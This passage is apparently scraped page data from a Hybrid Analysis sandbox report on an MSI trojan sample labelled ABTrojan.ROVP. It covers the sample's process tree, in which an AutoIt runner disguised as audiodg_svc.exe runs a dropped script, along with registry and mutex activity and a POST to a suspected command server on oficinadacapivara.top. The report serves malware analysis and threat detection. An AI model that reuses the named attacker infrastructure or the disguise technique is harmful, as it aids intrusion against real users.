54af8d2cd08df740829e51bdc","to_key":"Url:/"},{"edge_kind":"contacted_url","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"Url:/principal/aNuEntity.php"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","edges":[{"edge_kind":"extracted","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"File:4c8fdac932ee465bbcbb292c1570350284e46bd258fd961ea9c3bf69ccd65ee1"},{"edge_kind":"extracted","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"File:ff6c7f1c9dcff3b3a90cf57a9b4341dda0d76adb9e8667b4a3f75e15a2b7a832"},{"edge_kind":"extracted","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"File:af83c9130e2d9e31b0b2c337b88d4ec489cda0c46e4121da6cb8e976e970fd24"},{"edge_kind":"extracted","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"File:01f139066eb3e0533e5a17dcc95eec0016e244e14d4acd83afe546dc3ee88a9d"},{"edge_kind":"extracted","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"File:eb0a75a1c0b0a1127647d9cbbc91c04f3dacdc330e28d5028ea8f6ff617eeb1e"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":24,"imported_dlls_count":119,"dropped_files_count":0,"extracted_files_count":5,"files_written_count":6,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["evasive","suspicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Decrypted SSL traffic"],"sandbox_reports":[{"id":"6ad23c5412d564713306d3e4","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":86,"malware_family":"ABTrojan.ROVP","submit_name":"G3d5duio.msi","analysis_start_time":"2026-10-16T15:01:44+00:00","indicators_count":{"informative":204,"suspicious":42,"malicious":2},"tags":["Multi-Process","Network Traffic","Extracted Files","Decrypted SSL traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.26.12.205","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"address":"104.21.54.21","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]}],"dns_resolutions":[{"domain":"api.ipify.org","address":"104.26.12.205","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"domain":"oficinadacapivara.top","address":"104.21.54.21","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]}],"http_requests":[{"host":"api.ipify.org","host_ip":"104.26.12.205:443","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nHost: api.ipify.org","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"host":"oficinadacapivara.top","host_ip":"104.21.54.21:443","url":"/principal/aNuEntity.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /principal/aNuEntity.php HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 329\nHost: oficinadacapivara.top","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}],"processes":[{"pid":1420,"ppid":0,"name":"msiexec.exe","command_line":"/i \"C:\\G3d5duio.msi\"","sha256":"866aeb5dd6fc4e84535cfff1d874dd3ea5f4bdad3b98fa970b0750f557055e51","normalized_path":"%WINDIR%\\System32\\msiexec.exe","uid":"00000000-00001420","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAB4ElEQVR4XrWWwdGDIBSEPdqPBeVmC17/kyVkhlsOfwVWkAK4W4CFEFaz5PkEBRN3ZocMEvbjATFVdVJd17lvrOcrUt/37qyez6fD9/WcRSJAVf0V+RKA1rrgxvf5JrSV+zy7HECHow3hxl4LcBh+JUBW+JUAWeHfAGCwNvoJkBPetCcPIVcqJftlBfbCTwFg0O12W1k+I8DqqiXCiwFS4f+Px6YCJY4C6P2V1uEa4Iw2AHsT6nAJgInOegMA6ZLHwgnwCw3D4Oq63t8K9McA9LhSIxxtCOekWikAPr/f7yvzXZ+jrwAY1FrjRxlnbRuM1TVNM1uvHE6eg1wAnI3G3/HWmCQAjLGAWIV4Ibx4C/AshFs7AxACABKC4TDCAKFvAbwKh1IADEcbAN4Qugpy9QiBYlWIKgUgw6dpQtQWwnwAZPg4jrOzIAhgLV4vS8t+lh8AhJAgnIMADGdFsgFkOIR+WQHjV6qt5+GqeerhbICjCqCP5upi89A/r4AMpuWJ5hbBckw2wFEFYuHW4gD6rcCW+HMhIehsgL0K4DN+/WQ4AXANlz8hC4QEyQqH9irAMayC/EEhwHwbFMR8U0oAYhXQAoQMJ4B9X0sJkR1eKkAshzIOwJeR/t7PRRCYoaXBL5j/Yl310M0vAAAAAElFTkSuQmCC"},{"pid":7860,"ppid":0,"name":"msiexec.exe","command_line":"/V","sha256":"866aeb5dd6fc4e84535cfff1d874dd3ea5f4bdad3b98fa970b0750f557055e51","normalized_path":"%WINDIR%\\system32\\msiexec.exe","uid":"00000000-00007860","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAB4ElEQVR4XrWWwdGDIBSEPdqPBeVmC17/kyVkhlsOfwVWkAK4W4CFEFaz5PkEBRN3ZocMEvbjATFVdVJd17lvrOcrUt/37qyez6fD9/WcRSJAVf0V+RKA1rrgxvf5JrSV+zy7HECHow3hxl4LcBh+JUBW+JUAWeHfAGCwNvoJkBPetCcPIVcqJftlBfbCTwFg0O12W1k+I8DqqiXCiwFS4f+Px6YCJY4C6P2V1uEa4Iw2AHsT6nAJgInOegMA6ZLHwgnwCw3D4Oq63t8K9McA9LhSIxxtCOekWikAPr/f7yvzXZ+jrwAY1FrjRxlnbRuM1TVNM1uvHE6eg1wAnI3G3/HWmCQAjLGAWIV4Ibx4C/AshFs7AxACABKC4TDCAKFvAbwKh1IADEcbAN4Qugpy9QiBYlWIKgUgw6dpQtQWwnwAZPg4jrOzIAhgLV4vS8t+lh8AhJAgnIMADGdFsgFkOIR+WQHjV6qt5+GqeerhbICjCqCP5upi89A/r4AMpuWJ5hbBckw2wFEFYuHW4gD6rcCW+HMhIehsgL0K4DN+/WQ4AXANlz8hC4QEyQqH9irAMayC/EEhwHwbFMR8U0oAYhXQAoQMJ4B9X0sJkR1eKkAshzIOwJeR/t7PRRCYoaXBL5j/Yl310M0vAAAAAElFTkSuQmCC"},{"pid":848,"ppid":7860,"name":"MsiExec.exe","command_line":"-Embedding 2B9EC86076203A0C98BF2E420AEFB398","sha256":"8761879d9ce47bc68bf3bd8accbcd0165dd20ad05820f4f6439e11aa2afa7b01","normalized_path":"%WINDIR%\\syswow64\\MsiExec.exe","parent_uid":"00000000-00007860","uid":"00000000-00000848"},{"pid":4872,"ppid":7860,"name":"audiodg_svc.exe","command_line":"\"%LOCALAPPDATA%\\EfUdy1v3brSz\\msiexec.log\"","sha256":"bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1","normalized_path":"%LOCALAPPDATA%\\EfUdy1v3brSz\\audiodg_svc.exe","parent_uid":"00000000-00007860","uid":"00000000-00004872"},{"pid":5172,"ppid":4872,"name":"audiodg_svc.exe","command_line":"/AutoIt3ExecuteScript \"%LOCALAPPDATA%\\EfUdy1v3brSz\\\\oxjrstqeoghk.au3\"","sha256":"bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1","normalized_path":"%LOCALAPPDATA%\\EfUdy1v3brSz\\audiodg_svc.exe","parent_uid":"00000000-00004872","uid":"00000000-00005172"}],"all_imported_dlls":["msvcp140.dll","cfgmgr32.dll","ncrypt.dll","wow64cpu.dll","ntdll.dll","sechost.dll","setupapi.dll","gdi32.dll","wkscli.dll","vbscript.dll","winhttp.dll","ole32.dll","fusion.dll","uxtheme.dll","version.dll","sxs.dll","kernel32.dll","msvcp_win.dll","oleaut32.dll","userenv.dll","srclient.dll","win32u.dll","CoreMessaging.dll","vssapi.dll","pnrpnsp.dll","winrnr.dll","crypt32.dll","winhttpcom.dll","dnsapi.dll","ncryptsslp.dll","coml2.dll","msi.dll","propsys.dll","mscoree.dll","wow64win.dll","nlaapi.dll","OnDemandConnRouteHelper.dll","AcLayers.dll","psapi.dll","rpcrt4.dll","advapi32.dll","comctl32.dll","dwmapi.dll","mswsock.dll","winnsi.dll","webio.dll","apphelp.dll","bcryptprimitives.dll","sfc.dll","sfc_os.dll","wininet.dll","vcruntime140.dll","spp.dll","amsi.dll","wbemcomn.dll","mpr.dll","wsock32.dll","rsaenh.dll","clr.dll","vcruntime140_clr0400.dll","winmmbase.dll","gpapi.dll","wbemdisp.dll","fltLib.dll","ucrtbase.dll","cabinet.dll","clbcatq.dll","mscoreei.dll","cryptsp.dll","imm32.dll","msihnd.dll","rasadhlp.dll","netapi32.dll","RstrtMgr.dll","schannel.dll","mskeyprotect.dll","VxSSL64.dll","ws2_32.dll","SHCore.dll","IPHLPAPI.DLL","comdlg32.dll","FWPUCLNT.DLL","msvcrt.dll","user32.dll","kernel.appcore.dll","powrprof.dll","msctf.dll","vsstrace.dll","ucrtbase_clr0400.dll","nsi.dll","wldp.dll","cryptbase.dll","winmm.dll","wbemprox.dll","KernelBase.dll","netutils.dll","wintrust.dll","wow64.dll","MpOAV.dll","wmiutils.dll","shlwapi.dll","windows.storage.dll","profapi.dll","sb7zQALK.dll","scrrun.dll","combase.dll","sspicli.dll","VxSSL32.dll","msasn1.dll","bcrypt.dll","pcacli.dll","dpapi.dll","shell32.dll","srpapi.dll","ntasn1.dll","wbemsvc.dll","fastprox.dll","gdi32full.dll","vcruntime140_1.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"F_2","sha256":"4c8fdac932ee465bbcbb292c1570350284e46bd258fd961ea9c3bf69ccd65ee1","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"F_7","sha256":"ff6c7f1c9dcff3b3a90cf57a9b4341dda0d76adb9e8667b4a3f75e15a2b7a832","verdict":"likely_benign","sources":[{"report_type":"qsp","report_id":""}]},{"name":"F_5","sha256":"af83c9130e2d9e31b0b2c337b88d4ec489cda0c46e4121da6cb8e976e970fd24","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"oxjrstqeoghk.au3","sha256":"01f139066eb3e0533e5a17dcc95eec0016e244e14d4acd83afe546dc3ee88a9d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"executed.dat","sha256":"eb0a75a1c0b0a1127647d9cbbc91c04f3dacdc330e28d5028ea8f6ff617eeb1e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"path":"PIPE\\wkssvc","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"path":"\\SystemRoot\\AppPatch\\msimain.sdb","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"path":"%SAMPLEDIR%\\MSI6e298.tmp","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"path":"%LOCALAPPDATA%\\EfUdy1v3brSz\\oxjrstqeoghk.au3","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"path":"%LOCALAPPDATA%\\EfUdy1v3brSz\\executed.dat","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MYAPP\\CONFIG\\","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"key":"HKCUHKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"key":"HKCUHKCU\\SOFTWARE\\MYAPP\\","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1420:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"SM0:1420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"Local\\SM0:1420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"SM0:1420:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\BaseNamedObjects\\_MSIExecute","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\BaseNamedObjects\\SM0:7860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:7860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\BaseNamedObjects\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\BaseNamedObjects\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\BaseNamedObjects\\SM0:7860:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:848:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:848:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"SM0:848:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"Local\\SM0:848:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4872:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4872:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"SM0:4872:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"Local\\SM0:4872:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5172:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5172:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"Local\\SM0:5172:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"SM0:5172:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]}]}},"report_ids":{"sandbox_job_ids":["6ad23c5412d564713306d3e4"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious ABTrojan.ROVP Sample b3823568346a… — Score 86/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample b3823568346a…. Malware family: ABTrojan.ROVP. Threat score 86/100. 1/24 AV engines flagged this file. 2 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc"}],["$","meta","4",{"property":"og:title","content":"Malicious ABTrojan.ROVP Sample b3823568346a… — Score 86/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample b3823568346a…. Malware family: ABTrojan.ROVP. Threat score 86/100. 1/24 AV engines flagged this file. 2 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious ABTrojan.ROVP Sample b3823568346a… — Score 86/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample b3823568346a…. Malware family: ABTrojan.ROVP. Threat score 86/100. 1/24 AV engines flagged this file. 2 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L62","11",{}]] 32:null